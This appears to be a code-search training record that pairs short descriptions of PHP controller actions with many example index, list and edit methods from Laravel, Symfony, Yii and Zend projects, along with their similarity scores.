$cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function allAdmin() { $user = auth()->user(); $productos = Venta::where('estado', 1)->get(); $arrProductos = array(); foreach ($productos as $producto) { $arrProductos[] = array( $producto->nombre, ($producto->estado) ? 'Activo' : 'Inactivo', $producto->id, ); } $response = array('draw' => 1, 'recordsTotal' => count($arrProductos), 'recordsFiltered' => count($arrProductos), 'data' => $arrProductos); return response()->json($response, 200); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Show the form for editing the specified resource.
public function edit(Venta $venta) { $venta = $venta->with(['tipoVenta', 'detalleVentas'])->find($venta->id); $tipoVenta = TipoVenta::all(); $venta->chk_multiplicar = ($venta->multiplicar == 1) ? 'checked' : ''; auth()->user()->breadcrumbs = collect([['nombre' => 'Cotizador', 'ruta' => route('cotizador.admin')], ['nombre' => 'Editar Detalle', 'ruta' => null]]); return view('pages.cotizador.detalle', compact('venta', 'tipoVenta')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n 